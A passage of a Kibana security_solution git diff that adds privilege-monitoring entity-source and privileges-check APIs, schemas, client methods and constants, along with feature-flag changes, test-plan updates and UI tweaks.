components: schemas: - MonitoringEntitySourceDescriptor: + CreateMonitoringEntitySource: type: object required: [type, name] properties: @@ -124,16 +147,62 @@ components: type: string filter: type: object + properties: + kuery: + oneOf: + - type: string + - type: object - MonitoringEntitySourceResponse: + UpdatedMonitoringEntitySource: type: object properties: - id: + type: type: string + name: + type: string + managed: + type: boolean + indexPattern: + type: string + enabled: + type: boolean + error: + type: string + integrationName: + type: string + matchers: + type: array + items: + type: object + required: + - fields + - values + properties: + fields: + type: array + items: + type: string + values: + type: array + items: + type: string + filter: + type: object + properties: + kuery: + oneOf: + - type: string + - type: object + + MonitoringEntitySourceProperties: + type: object + properties: name: type: string type: type: string + managed: + type: boolean indexPattern: type: string integrationName: @@ -155,4 +224,26 @@ components: values: type: array items: - type: string \ No newline at end of file + type: string + filter: + type: object + properties: + kuery: + oneOf: + - type: string + - type: object + + MonitoringEntitySourceNoId: + allOf: + - $ref: '#/components/schemas/MonitoringEntitySourceProperties' + - type: object + required: [type, name, managed] + + MonitoringEntitySource: + allOf: + - $ref: '#/components/schemas/MonitoringEntitySourceProperties' + - type: object + required: [type, name, id, managed] + properties: + id: + type: string diff --git a/x-pack/solutions/security/plugins/security_solution/common/api/entity_analytics/privilege_monitoring/privileges.gen.ts b/x-pack/solutions/security/plugins/security_solution/common/api/entity_analytics/privilege_monitoring/privileges.gen.ts new file mode 100644 index 0000000000000..ac0ac31147ca7 --- /dev/null +++ b/x-pack/solutions/security/plugins/security_solution/common/api/entity_analytics/privilege_monitoring/privileges.gen.ts @@ -0,0 +1,22 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0; you may not use this file except in compliance with the Elastic License + * 2.0. + */ + +/* + * NOTICE: Do not edit this file manually. + * This file is automatically generated by the OpenAPI Generator, @kbn/openapi-generator. + * + * info: + * title: Privileges check on Privilege Monitoring + * version: 2023-10-31 + */ + +import type { z } from '@kbn/zod'; + +import { EntityAnalyticsPrivileges } from '../common/common.gen'; + +export type PrivMonPrivilegesResponse = z.infer; +export const PrivMonPrivilegesResponse = EntityAnalyticsPrivileges; diff --git a/x-pack/solutions/security/plugins/security_solution/common/api/entity_analytics/privilege_monitoring/privileges.schema.yaml b/x-pack/solutions/security/plugins/security_solution/common/api/entity_analytics/privilege_monitoring/privileges.schema.yaml new file mode 100644 index 0000000000000..f34019bbdcb32 --- /dev/null +++ b/x-pack/solutions/security/plugins/security_solution/common/api/entity_analytics/privilege_monitoring/privileges.schema.yaml @@ -0,0 +1,27 @@ +openapi: 3.0.0 + +info: + title: Privileges check on Privilege Monitoring + version: "2023-10-31" +paths: + /api/entity_analytics/monitoring/privileges/privileges: + get: + x-labels: [ess, serverless] + x-codegen-enabled: true + operationId: PrivMonPrivileges + summary: Run a privileges check on Privilege Monitoring + description: Check if the current user has all required permissions for Privilege Monitoring + responses: + '200': + description: Successful response + content: + application/json: + schema: + $ref: '../common/common.schema.yaml#/components/schemas/EntityAnalyticsPrivileges' + example: + privileges: + elasticsearch: + index: + '.entity_analytics.monitoring.user-default': + read: true + has_all_required: true \ No newline at end of file diff --git a/x-pack/solutions/security/plugins/security_solution/common/api/quickstart_client.gen.ts b/x-pack/solutions/security/plugins/security_solution/common/api/quickstart_client.gen.ts index d9bdb770867a6..687b5a073fc90 100644 --- a/x-pack/solutions/security/plugins/security_solution/common/api/quickstart_client.gen.ts +++ b/x-pack/solutions/security/plugins/security_solution/common/api/quickstart_client.gen.ts @@ -269,8 +269,21 @@ import type { } from './entity_analytics/monitoring/search_indices.gen'; import type { InitMonitoringEngineResponse } from './entity_analytics/privilege_monitoring/engine/init.gen'; import type { PrivMonHealthResponse } from './entity_analytics/privilege_monitoring/health.gen'; +import type { + CreateEntitySourceRequestBodyInput, + CreateEntitySourceResponse, + DeleteEntitySourceRequestParamsInput, + GetEntitySourceRequestParamsInput, + GetEntitySourceResponse, + ListEntitySourcesRequestQueryInput, + ListEntitySourcesResponse, + UpdateEntitySourceRequestParamsInput, + UpdateEntitySourceRequestBodyInput, + UpdateEntitySourceResponse, +} from './entity_analytics/privilege_monitoring/monitoring_entity_source/monitoring_entity_source.gen'; import type { InstallPrivilegedAccessDetectionPackageResponse } from './entity_analytics/privilege_monitoring/privileged_access_detection/install.gen'; import type { GetPrivilegedAccessDetectionPackageStatusResponse } from './entity_analytics/privilege_monitoring/privileged_access_detection/status.gen'; +import type { PrivMonPrivilegesResponse } from './entity_analytics/privilege_monitoring/privileges.gen'; import type { CreatePrivMonUserRequestBodyInput, CreatePrivMonUserResponse, @@ -627,6 +640,19 @@ If a record already exists for the specified entity, that record is overwritten }) .catch(catchAxiosErrorFormatAndThrow); } + async createEntitySource(props: CreateEntitySourceProps) { + this.log.info(`${new Date().toISOString()} Calling API CreateEntitySource`); + return this.kbnClient + .request({ + path: '/api/entity_analytics/monitoring/entity_source', + headers: { + [ELASTIC_HTTP_VERSION_HEADER]: '1', + }, + method: 'POST', + body: props.body, + }) + .catch(catchAxiosErrorFormatAndThrow); + } async createPrivilegesImportIndex(props: CreatePrivilegesImportIndexProps) { this.log.info(`${new Date().toISOString()} Calling API CreatePrivilegesImportIndex`); return this.kbnClient @@ -830,6 +856,18 @@ For detailed information on Kibana actions and alerting, and additional API call }) .catch(catchAxiosErrorFormatAndThrow); } + async deleteEntitySource(props: DeleteEntitySourceProps) { + this.log.info(`${new Date().toISOString()} Calling API DeleteEntitySource`); + return this.kbnClient + .request({ + path: replaceParams('/api/entity_analytics/monitoring/entity_source/{id}', props.params), + headers: { + [ELASTIC_HTTP_VERSION_HEADER]: '1', + }, + method: 'DELETE', + }) + .catch(catchAxiosErrorFormatAndThrow); + } /** * Delete a note from a Timeline using the note ID. */ @@ -1403,6 +1441,18 @@ finalize it. }) .catch(catchAxiosErrorFormatAndThrow); } + async getEntitySource(props: GetEntitySourceProps) { + this.log.info(`${new Date().toISOString()} Calling API GetEntitySource`); + return this.kbnClient + .request({ + path: replaceParams('/api/entity_analytics/monitoring/entity_source/{id}', props.params), + headers: { + [ELASTIC_HTTP_VERSION_HEADER]: '1', + }, + method: 'GET', + }) + .catch(catchAxiosErrorFormatAndThrow); + } async getEntityStoreStatus(props: GetEntityStoreStatusProps) { this.log.info(`${new Date().toISOString()} Calling API GetEntityStoreStatus`); return this.kbnClient @@ -1956,6 +2006,20 @@ providing you with the most current and effective threat detection capabilities. }) .catch(catchAxiosErrorFormatAndThrow); } + async listEntitySources(props: ListEntitySourcesProps) { + this.log.info(`${new Date().toISOString()} Calling API ListEntitySources`); + return this.kbnClient + .request({ + path: '/api/entity_analytics/monitoring/entity_source/list', + headers: { + [ELASTIC_HTTP_VERSION_HEADER]: '1', + }, + method: 'GET', + + query: props.query, + }) + .catch(catchAxiosErrorFormatAndThrow); + } async listPrivMonUsers(props: ListPrivMonUsersProps) { this.log.info(`${new Date().toISOString()} Calling API ListPrivMonUsers`); return this.kbnClient @@ -2123,6 +2187,21 @@ The edit action is idempotent, meaning that if you add a tag to a rule that alre }) .catch(catchAxiosErrorFormatAndThrow); } + /** + * Check if the current user has all required permissions for Privilege Monitoring + */ + async privMonPrivileges() { + this.log.info(`${new Date().toISOString()} Calling API PrivMonPrivileges`); + return this.kbnClient + .request({ + path: '/api/entity_analytics/monitoring/privileges/privileges', + headers: { + [ELASTIC_HTTP_VERSION_HEADER]: '2023-10-31', + }, + method: 'GET', + }) + .catch(catchAxiosErrorFormatAndThrow); + } async readAlertsIndex() { this.log.info(`${new Date().toISOString()} Calling API ReadAlertsIndex`); return this.kbnClient @@ -2496,6 +2575,19 @@ The difference between the `id` and `rule_id` is that the `id` is a unique rule }) .catch(catchAxiosErrorFormatAndThrow); } + async updateEntitySource(props: UpdateEntitySourceProps) { + this.log.info(`${new Date().toISOString()} Calling API UpdateEntitySource`); + return this.kbnClient + .request({ + path: replaceParams('/api/entity_analytics/monitoring/entity_source/{id}', props.params), + headers: { + [ELASTIC_HTTP_VERSION_HEADER]: '1', + }, + method: 'PUT', + body: props.body, + }) + .catch(catchAxiosErrorFormatAndThrow); + } async updatePrivMonUser(props: UpdatePrivMonUserProps) { this.log.info(`${new Date().toISOString()} Calling API UpdatePrivMonUser`); return this.kbnClient @@ -2632,6 +2724,9 @@ export interface CreateAlertsMigrationProps { export interface CreateAssetCriticalityRecordProps { body: CreateAssetCriticalityRecordRequestBodyInput; } +export interface CreateEntitySourceProps { + body: CreateEntitySourceRequestBodyInput; +} export interface CreatePrivilegesImportIndexProps { body: CreatePrivilegesImportIndexRequestBodyInput; } @@ -2662,6 +2757,9 @@ export interface DeleteEntityEngineProps { query: DeleteEntityEngineRequestQueryInput; params: DeleteEntityEngineRequestParamsInput; } +export interface DeleteEntitySourceProps { + params: DeleteEntitySourceRequestParamsInput; +} export interface DeleteNoteProps { body: DeleteNoteRequestBodyInput; } @@ -2755,6 +2853,9 @@ export interface GetEndpointSuggestionsProps { export interface GetEntityEngineProps { params: GetEntityEngineRequestParamsInput; } +export interface GetEntitySourceProps { + params: GetEntitySourceRequestParamsInput; +} export interface GetEntityStoreStatusProps { query: GetEntityStoreStatusRequestQueryInput; } @@ -2834,6 +2935,9 @@ export interface InternalUploadAssetCriticalityRecordsProps { export interface ListEntitiesProps { query: ListEntitiesRequestQueryInput; } +export interface ListEntitySourcesProps { + query: ListEntitySourcesRequestQueryInput; +} export interface ListPrivMonUsersProps { query: ListPrivMonUsersRequestQueryInput; } @@ -2912,6 +3016,10 @@ export interface SuggestUserProfilesProps { export interface TriggerRiskScoreCalculationProps { body: TriggerRiskScoreCalculationRequestBodyInput; } +export interface UpdateEntitySourceProps { + params: UpdateEntitySourceRequestParamsInput; + body: UpdateEntitySourceRequestBodyInput; +} export interface UpdatePrivMonUserProps { params: UpdatePrivMonUserRequestParamsInput; body: UpdatePrivMonUserRequestBodyInput; diff --git a/x-pack/solutions/security/plugins/security_solution/common/endpoint/constants.ts b/x-pack/solutions/security/plugins/security_solution/common/endpoint/constants.ts index 824a8d1602c81..65e3d6dbb14ef 100644 --- a/x-pack/solutions/security/plugins/security_solution/common/endpoint/constants.ts +++ b/x-pack/solutions/security/plugins/security_solution/common/endpoint/constants.ts @@ -86,6 +86,7 @@ export const SUGGESTIONS_INTERNAL_ROUTE = `${BASE_INTERNAL_ENDPOINT_ROUTE}/sugge /** Base Actions route. Used to get a list of all actions and is root to other action related routes */ export const BASE_ENDPOINT_ACTION_ROUTE = `${BASE_ENDPOINT_ROUTE}/action`; +export const BASE_INTERNAL_ENDPOINT_ACTION_ROUTE = `/internal${BASE_ENDPOINT_ACTION_ROUTE}`; export const ISOLATE_HOST_ROUTE_V2 = `${BASE_ENDPOINT_ACTION_ROUTE}/isolate`; export const UNISOLATE_HOST_ROUTE_V2 = `${BASE_ENDPOINT_ACTION_ROUTE}/unisolate`; @@ -97,7 +98,7 @@ export const EXECUTE_ROUTE = `${BASE_ENDPOINT_ACTION_ROUTE}/execute`; export const UPLOAD_ROUTE = `${BASE_ENDPOINT_ACTION_ROUTE}/upload`; export const SCAN_ROUTE = `${BASE_ENDPOINT_ACTION_ROUTE}/scan`; export const RUN_SCRIPT_ROUTE = `${BASE_ENDPOINT_ACTION_ROUTE}/run_script`; -export const CUSTOM_SCRIPTS_ROUTE = `${BASE_ENDPOINT_ACTION_ROUTE}/custom_scripts`; +export const CUSTOM_SCRIPTS_ROUTE = `${BASE_INTERNAL_ENDPOINT_ACTION_ROUTE}/custom_scripts`; /** Endpoint Actions Routes */ export const ACTION_STATUS_ROUTE = `${BASE_ENDPOINT_ROUTE}/action_status`; diff --git a/x-pack/solutions/security/plugins/security_solution/common/entity_analytics/constants.ts b/x-pack/solutions/security/plugins/security_solution/common/entity_analytics/constants.ts index 6ef08a1857bd4..dba9c5fa017ee 100644 --- a/x-pack/solutions/security/plugins/security_solution/common/entity_analytics/constants.ts +++ b/x-pack/solutions/security/plugins/security_solution/common/entity_analytics/constants.ts @@ -9,6 +9,7 @@ export * from './asset_criticality/constants'; export * from './risk_engine/constants'; export * from './risk_score/constants'; export * from './migrations/constants'; +export * from './privilege_monitoring/constants'; export const API_VERSIONS = { public: { diff --git a/x-pack/solutions/security/plugins/security_solution/common/entity_analytics/privilege_monitoring/constants.ts b/x-pack/solutions/security/plugins/security_solution/common/entity_analytics/privilege_monitoring/constants.ts index b051548fedbd1..403881402b4a6 100644 --- a/x-pack/solutions/security/plugins/security_solution/common/entity_analytics/privilege_monitoring/constants.ts +++ b/x-pack/solutions/security/plugins/security_solution/common/entity_analytics/privilege_monitoring/constants.ts @@ -7,12 +7,10 @@ // Static index names: may be more obvious and easier to manage. export const privilegedMonitorBaseIndexName = '.entity_analytics.monitoring'; +export const ML_ANOMALIES_INDEX = '.ml-anomalies-shared'; -// Used in Phase 0. -export const getPrivilegedMonitorUsersIndex = (namespace: string) => - `${privilegedMonitorBaseIndexName}.users-${namespace}`; -// Not required in phase 0. -export const getPrivilegedMonitorGroupsIndex = (namespace: string) => - `${privilegedMonitorBaseIndexName}.groups-${namespace}`; // Default index for privileged monitoring users. Not required. export const defaultMonitoringUsersIndex = 'entity_analytics.privileged_monitoring'; + +export const PRIVILEGE_MONITORING_PRIVILEGE_CHECK_API = + '/api/entity_analytics/monitoring/privileges/privileges'; diff --git a/x-pack/solutions/security/plugins/security_solution/common/entity_analytics/privilege_monitoring/utils.ts b/x-pack/solutions/security/plugins/security_solution/common/entity_analytics/privilege_monitoring/utils.ts new file mode 100644 index 0000000000000..80ab7db5a7757 --- /dev/null +++ b/x-pack/solutions/security/plugins/security_solution/common/entity_analytics/privilege_monitoring/utils.ts @@ -0,0 +1,24 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0; you may not use this file except in compliance with the Elastic License + * 2.0. + */ + +import { + ML_ANOMALIES_INDEX, + RISK_SCORE_INDEX_PATTERN, + privilegedMonitorBaseIndexName, +} from '../constants'; +import { getAlertsIndex } from '../utils'; + +export const getPrivilegedMonitorUsersIndex = (namespace: string) => + `${privilegedMonitorBaseIndexName}.users-${namespace}`; + +// At the moment, this only includes the privileges required for reading dashboards. +export const getPrivilegeUserMonitoringRequiredEsIndexPrivileges = (namespace: string) => ({ + [getPrivilegedMonitorUsersIndex(namespace)]: ['read'], + [RISK_SCORE_INDEX_PATTERN]: ['read'], + [getAlertsIndex(namespace)]: ['read'], + [ML_ANOMALIES_INDEX]: ['read'], +}); diff --git a/x-pack/solutions/security/plugins/security_solution/common/entity_analytics/privileged_user_monitoring/constants.ts b/x-pack/solutions/security/plugins/security_solution/common/entity_analytics/privileged_user_monitoring/constants.ts index 1babcca9eea67..9d4fa22e47f9e 100644 --- a/x-pack/solutions/security/plugins/security_solution/common/entity_analytics/privileged_user_monitoring/constants.ts +++ b/x-pack/solutions/security/plugins/security_solution/common/entity_analytics/privileged_user_monitoring/constants.ts @@ -9,6 +9,8 @@ export const PRIVMON_PUBLIC_URL = `/api/entity_analytics/monitoring` as const; export const PRIVMON_ENGINE_PUBLIC_URL = `${PRIVMON_PUBLIC_URL}/engine` as const; export const PRIVMON_USER_PUBLIC_CSV_UPLOAD_URL = `${PRIVMON_PUBLIC_URL}/users/_csv` as const; export const PRIVMON_PUBLIC_INIT = `${PRIVMON_PUBLIC_URL}/engine/init` as const; +export const getPrivmonMonitoringSourceByIdUrl = (id: string) => + `${PRIVMON_PUBLIC_URL}/entity_source/${id}` as const; export const PRIVMON_USERS_CSV_MAX_SIZE_BYTES = 1024 * 1024; // 1MB export const PRIVMON_USERS_CSV_SIZE_TOLERANCE_BYTES = 1024 * 50; // ~= 50kb diff --git a/x-pack/solutions/security/plugins/security_solution/common/entity_analytics/utils.ts b/x-pack/solutions/security/plugins/security_solution/common/entity_analytics/utils.ts index 8f6f05b71ed9a..f0693414d727a 100644 --- a/x-pack/solutions/security/plugins/security_solution/common/entity_analytics/utils.ts +++ b/x-pack/solutions/security/plugins/security_solution/common/entity_analytics/utils.ts @@ -5,6 +5,7 @@ * 2.0. */ +import { DEFAULT_ALERTS_INDEX } from '../constants'; import { EntityType } from './types'; const ENTITY_ANALYTICS_ENTITY_TYPES = [EntityType.user, EntityType.host, EntityType.service]; @@ -23,3 +24,5 @@ export const getEnabledEntityTypes = (genericDefinitionEnabled: boolean): Entity return entities; }; + +export const getAlertsIndex = (spaceId = 'default') => `${DEFAULT_ALERTS_INDEX}-${spaceId}`; diff --git a/x-pack/solutions/security/plugins/security_solution/common/experimental_features.ts b/x-pack/solutions/security/plugins/security_solution/common/experimental_features.ts index aa1d3c3f5a2a8..e4057758ad1e9 100644 --- a/x-pack/solutions/security/plugins/security_solution/common/experimental_features.ts +++ b/x-pack/solutions/security/plugins/security_solution/common/experimental_features.ts @@ -91,7 +91,7 @@ export const allowedExperimentalValues = Object.freeze({ * and Fleet must set it runtime mode to spaces by calling the following API: * - `POST /internal/fleet/enable_space_awareness` */ - endpointManagementSpaceAwarenessEnabled: false, + endpointManagementSpaceAwarenessEnabled: true, /** * Disables new notes @@ -103,11 +103,6 @@ export const allowedExperimentalValues = Object.freeze({ */ assistantModelEvaluation: false, - /** - * Enables advanced ESQL generation for the Assistant. - */ - advancedEsqlGeneration: false, - /** * Enables the Managed User section inside the new user details flyout. */ @@ -166,7 +161,7 @@ export const allowedExperimentalValues = Object.freeze({ * Enables Response actions telemetry collection * Should be enabled in 8.17.0 */ - responseActionsTelemetryEnabled: false, + responseActionsTelemetryEnabled: true, /** * Enables experimental JAMF integration data to be available in Analyzer @@ -206,7 +201,7 @@ export const allowedExperimentalValues = Object.freeze({ /** * Enables the rule's bulk action to manage alert suppression */ - bulkEditAlertSuppressionEnabled: false, + bulkEditAlertSuppressionEnabled: true, /** * Enables the new data ingestion hub diff --git a/x-pack/solutions/security/plugins/security_solution/docs/openapi/ess/security_solution_entity_analytics_api_2023_10_31.bundled.schema.yaml b/x-pack/solutions/security/plugins/security_solution/docs/openapi/ess/security_solution_entity_analytics_api_2023_10_31.bundled.schema.yaml index c081177d2b546..e5d3c29a103a0 100644 --- a/x-pack/solutions/security/plugins/security_solution/docs/openapi/ess/security_solution_entity_analytics_api_2023_10_31.bundled.schema.yaml +++ b/x-pack/solutions/security/plugins/security_solution/docs/openapi/ess/security_solution_entity_analytics_api_2023_10_31.bundled.schema.yaml @@ -348,6 +348,29 @@ paths: summary: Health check on Privilege Monitoring tags: - Security Entity Analytics API + /api/entity_analytics/monitoring/privileges/privileges: + get: + description: >- + Check if the current user has all required permissions for Privilege + Monitoring + operationId: PrivMonPrivileges + responses: + '200': + content: + application/json: + example: + has_all_required: true + privileges: + elasticsearch: + index: + .entity_analytics.monitoring.user-default: + read: true + schema: + $ref: '#/components/schemas/EntityAnalyticsPrivileges' + description: Successful response + summary: Run a privileges check on Privilege Monitoring + tags: + - Security Entity Analytics API /api/entity_analytics/monitoring/users: post: operationId: CreatePrivMonUser @@ -1421,6 +1444,40 @@ components: - $ref: '#/components/schemas/HostEntity' - $ref: '#/components/schemas/ServiceEntity' - $ref: '#/components/schemas/GenericEntity' + EntityAnalyticsPrivileges: + type: object + properties: + has_all_required: + type: boolean + has_read_permissions: + type: boolean + has_write_permissions: + type: boolean + privileges: + type: object + properties: + elasticsearch: + type: object + properties: + cluster: + additionalProperties: + type: boolean + type: object + index: + additionalProperties: + additionalProperties: + type: boolean + type: object + type: object + kibana: + additionalProperties: + type: boolean + type: object + required: + - elasticsearch + required: + - has_all_required + - privileges EntityRiskLevels: enum: - Unknown diff --git a/x-pack/solutions/security/plugins/security_solution/docs/openapi/serverless/security_solution_entity_analytics_api_2023_10_31.bundled.schema.yaml b/x-pack/solutions/security/plugins/security_solution/docs/openapi/serverless/security_solution_entity_analytics_api_2023_10_31.bundled.schema.yaml index b598c94ca90c8..455873905072b 100644 --- a/x-pack/solutions/security/plugins/security_solution/docs/openapi/serverless/security_solution_entity_analytics_api_2023_10_31.bundled.schema.yaml +++ b/x-pack/solutions/security/plugins/security_solution/docs/openapi/serverless/security_solution_entity_analytics_api_2023_10_31.bundled.schema.yaml @@ -348,6 +348,29 @@ paths: summary: Health check on Privilege Monitoring tags: - Security Entity Analytics API + /api/entity_analytics/monitoring/privileges/privileges: + get: + description: >- + Check if the current user has all required permissions for Privilege + Monitoring + operationId: PrivMonPrivileges + responses: + '200': + content: + application/json: + example: + has_all_required: true + privileges: + elasticsearch: + index: + .entity_analytics.monitoring.user-default: + read: true + schema: + $ref: '#/components/schemas/EntityAnalyticsPrivileges' + description: Successful response + summary: Run a privileges check on Privilege Monitoring + tags: + - Security Entity Analytics API /api/entity_analytics/monitoring/users: post: operationId: CreatePrivMonUser @@ -1421,6 +1444,40 @@ components: - $ref: '#/components/schemas/HostEntity' - $ref: '#/components/schemas/ServiceEntity' - $ref: '#/components/schemas/GenericEntity' + EntityAnalyticsPrivileges: + type: object + properties: + has_all_required: + type: boolean + has_read_permissions: + type: boolean + has_write_permissions: + type: boolean + privileges: + type: object + properties: + elasticsearch: + type: object + properties: + cluster: + additionalProperties: + type: boolean + type: object + index: + additionalProperties: + additionalProperties: + type: boolean + type: object + type: object + kibana: + additionalProperties: + type: boolean + type: object + required: + - elasticsearch + required: + - has_all_required + - privileges EntityRiskLevels: enum: - Unknown diff --git a/x-pack/solutions/security/plugins/security_solution/docs/testing/test_plans/detection_response/prebuilt_rules/prebuilt_rule_export.md b/x-pack/solutions/security/plugins/security_solution/docs/testing/test_plans/detection_response/prebuilt_rules/prebuilt_rule_export.md index 170a1b6290c80..269ed4708c7eb 100644 --- a/x-pack/solutions/security/plugins/security_solution/docs/testing/test_plans/detection_response/prebuilt_rules/prebuilt_rule_export.md +++ b/x-pack/solutions/security/plugins/security_solution/docs/testing/test_plans/detection_response/prebuilt_rules/prebuilt_rule_export.md @@ -1,6 +1,6 @@ # Test plan: exporting prebuilt rules -**Status**: `in progress`, matches [Milestone 3](https://github.com/elastic/kibana/issues/174168). +**Status**: `implemented`, matches [Milestone 3](https://github.com/elastic/kibana/issues/174168). > [!TIP] > If you're new to prebuilt rules, get started [here](./prebuilt_rules.md) and check an overview of the features of prebuilt rules in [this section](./prebuilt_rules_common_info.md#features). @@ -40,6 +40,7 @@ https://marketplace.visualstudio.com/items?itemName=yzhang.markdown-all-in-one - [**Scenario: Exporting a prebuilt rule from rules management table**](#scenario-exporting-a-prebuilt-rule-from-rules-management-table) - [**Scenario: Exporting multiple prebuilt rules in bulk**](#scenario-exporting-multiple-prebuilt-rules-in-bulk) - [**Scenario: Exporting a mix of prebuilt and custom rules in bulk**](#scenario-exporting-a-mix-of-prebuilt-and-custom-rules-in-bulk) + - [**Scenario: Importing a mix of just bulk exported prebuilt and custom rules**](#scenario-importing-a-mix-of-just-bulk-exported-prebuilt-and-custom-rules) - [Error Handling](#error-handling) - [**Scenario: Exporting beyond the export limit**](#scenario-exporting-beyond-the-export-limit) @@ -177,10 +178,28 @@ And the exported custom rules should include an "immutable" field having false v And the exported custom rules "rule_source.type" should be "internal" ``` +#### **Scenario: Importing a mix of just bulk exported prebuilt and custom rules** + +**Automation**: 1 integration test and 1 cypress test. + +```Gherkin +Given a mix of customized prebuilt, non-customized prebuilt and custom rules +When user selects some rules of each type in the rule management table +And bulk exports them +Then the selected rules should be exported as an NDJSON file +When user removes the rules and imports just exported NDJSON file +Then the rules should be created +And the created rules should be correctly identified as prebuilt or custom +And the created rules' is_customized field should be correctly calculated +And the created rules' parameters should match the import payload +``` + ### Error Handling #### **Scenario: Exporting beyond the export limit** +**Automation**: 2 integration tests and 1 cypress test. + ```Gherkin Given prebuilt and custom rules And the number of rules is greater than the export limit (defaults to 10_000) diff --git a/x-pack/solutions/security/plugins/security_solution/jest.integration.config.js b/x-pack/solutions/security/plugins/security_solution/jest.integration.config.js index 4fe389d2ec246..a5a452459c11b 100644 --- a/x-pack/solutions/security/plugins/security_solution/jest.integration.config.js +++ b/x-pack/solutions/security/plugins/security_solution/jest.integration.config.js @@ -9,4 +9,7 @@ module.exports = { preset: '@kbn/test/jest_integration', rootDir: '../../../../..', roots: ['/x-pack/solutions/security/plugins/security_solution'], + globals: { + Uint8Array: Uint8Array, + }, }; diff --git a/x-pack/solutions/security/plugins/security_solution/public/app/routes.tsx b/x-pack/solutions/security/plugins/security_solution/public/app/routes.tsx index f230f871b8176..16e2987ec78ec 100644 --- a/x-pack/solutions/security/plugins/security_solution/public/app/routes.tsx +++ b/x-pack/solutions/security/plugins/security_solution/public/app/routes.tsx @@ -11,13 +11,14 @@ import React, { memo, useEffect } from 'react'; import { Router, Routes, Route } from '@kbn/shared-ux-router'; import { useDispatch } from 'react-redux'; -import { APP_ID } from '../../common/constants'; +import { ALERT_DETAILS_REDIRECT_PATH, APP_ID } from '../../common/constants'; import { RouteCapture } from '../common/components/endpoint/route_capture'; import { useKibana } from '../common/lib/kibana'; import type { AppAction } from '../common/store/actions'; import { ManageRoutesSpy } from '../common/utils/route/manage_spy_routes'; import { NotFoundPage } from './404'; import { HomePage } from './home'; +import { AlertDetailsRedirect } from '../detections/pages/alerts/alert_details_redirect'; interface RouterProps { children: React.ReactNode; @@ -45,6 +46,10 @@ const PageRouterComponent: FC = ({ children, history }) => { + {children} diff --git a/x-pack/solutions/security/plugins/security_solution/public/asset_inventory/components/additional_controls.tsx b/x-pack/solutions/security/plugins/security_solution/public/asset_inventory/components/additional_controls.tsx index daeb66cc9a87f..3a8aa73649f96 100644 --- a/x-pack/solutions/security/plugins/security_solution/public/asset_inventory/components/additional_controls.tsx +++ b/x-pack/solutions/security/plugins/security_solution/public/asset_inventory/components/additional_controls.tsx @@ -66,7 +66,6 @@ export const AdditionalControls = ({
    onChange(option.id)} iconType={option.icon} iconSide="right" @@ -76,8 +74,6 @@ export const RadioGroup = ({ }, }} css={css` - border: 1px solid - ${isChecked ? euiTheme.colors.primary : euiTheme.colors.lightShade}; width: 100%; height: ${size === 's' ? euiTheme.size.xxl : euiTheme.size.xxxl}; svg, @@ -85,10 +81,6 @@ export const RadioGroup = ({ margin-left: auto; } - &&, - &&:hover { - text-decoration: none; - } &:disabled { svg, img { diff --git a/x-pack/solutions/security/plugins/security_solution/public/asset_inventory/components/fleet_extensions/aws_credentials_form/aws_credentials_form_agentless.tsx b/x-pack/solutions/security/plugins/security_solution/public/asset_inventory/components/fleet_extensions/aws_credentials_form/aws_credentials_form_agentless.tsx index 8629a09ce4f2b..8ae3b70445a34 100644 --- a/x-pack/solutions/security/plugins/security_solution/public/asset_inventory/components/fleet_extensions/aws_credentials_form/aws_credentials_form_agentless.tsx +++ b/x-pack/solutions/security/plugins/security_solution/public/asset_inventory/components/fleet_extensions/aws_credentials_form/aws_credentials_form_agentless.tsx @@ -335,12 +335,12 @@ export const AwsCredentialsFormAgentless = ({ return getAwsCredentialsFormAgentlessOptions(); }; - const accordianTitleLink = showCloudConnectors + const accordianTitleLink = showCloudFormationAccordion ? cloudFormationSettings[awsCredentialsType].accordianTitleLink - : cloudFormationSettings[AWS_CREDENTIALS_TYPE.DIRECT_ACCESS_KEYS].accordianTitleLink; - const templateUrl = showCloudConnectors + : ''; + const templateUrl = showCloudFormationAccordion ? cloudFormationSettings[awsCredentialsType].templateUrl - : cloudFormationSettings[AWS_CREDENTIALS_TYPE.DIRECT_ACCESS_KEYS].templateUrl; + : ''; return ( <> diff --git a/x-pack/solutions/security/plugins/security_solution/public/asset_inventory/components/onboarding/permission_denied.tsx b/x-pack/solutions/security/plugins/security_solution/public/asset_inventory/components/onboarding/permission_denied.tsx index 92165185819b4..75b64242d853a 100644 --- a/x-pack/solutions/security/plugins/security_solution/public/asset_inventory/components/onboarding/permission_denied.tsx +++ b/x-pack/solutions/security/plugins/security_solution/public/asset_inventory/components/onboarding/permission_denied.tsx @@ -9,8 +9,8 @@ import React from 'react'; import { EuiImage, EuiEmptyPrompt, EuiFlexGroup, EuiFlexItem } from '@elastic/eui'; import { i18n } from '@kbn/i18n'; import { FormattedMessage } from '@kbn/i18n-react'; +import { EntityStoreMissingPrivilegesCallout } from '../../../entity_analytics/components/entity_store/components/entity_store_missing_privileges_callout'; import type { AssetInventoryStatusResponse } from '../../../../common/api/asset_inventory/types'; -import { MissingPrivilegesCallout } from '../../../entity_analytics/components/entity_store/components/missing_privileges_callout'; import illustration from '../../../common/images/lock_light.png'; import { CenteredWrapper } from './centered_wrapper'; import { EmptyStateIllustrationContainer } from '../empty_state_illustration_container'; @@ -62,7 +62,9 @@ export const PermissionDenied = ({ privileges }: PermissionDeniedProps) => { defaultMessage="You do not have the necessary permissions to enable or view the Asset Inventory. To access this feature, please contact your administrator to request the appropriate permissions." />

    - {privileges ? : null} + {privileges ? ( + + ) : null} } footer={} diff --git a/x-pack/solutions/security/plugins/security_solution/public/asset_inventory/hooks/use_asset_inventory_url_state/use_url_query.test.tsx b/x-pack/solutions/security/plugins/security_solution/public/asset_inventory/hooks/use_asset_inventory_url_state/use_url_query.test.tsx new file mode 100644 index 0000000000000..8959c729a92b2 --- /dev/null +++ b/x-pack/solutions/security/plugins/security_solution/public/asset_inventory/hooks/use_asset_inventory_url_state/use_url_query.test.tsx @@ -0,0 +1,93 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0; you may not use this file except in compliance with the Elastic License + * 2.0. + */ + +import { renderHook } from '@testing-library/react'; +import { createMemoryHistory } from 'history'; +import { Router } from '@kbn/shared-ux-router'; +import React from 'react'; +import { useUrlQuery } from './use_url_query'; +import { + FLYOUT_PARAM_KEY, + QUERY_PARAM_KEY, + decodeMultipleRisonParams, +} from '@kbn/cloud-security-posture/src/utils/query_utils'; + 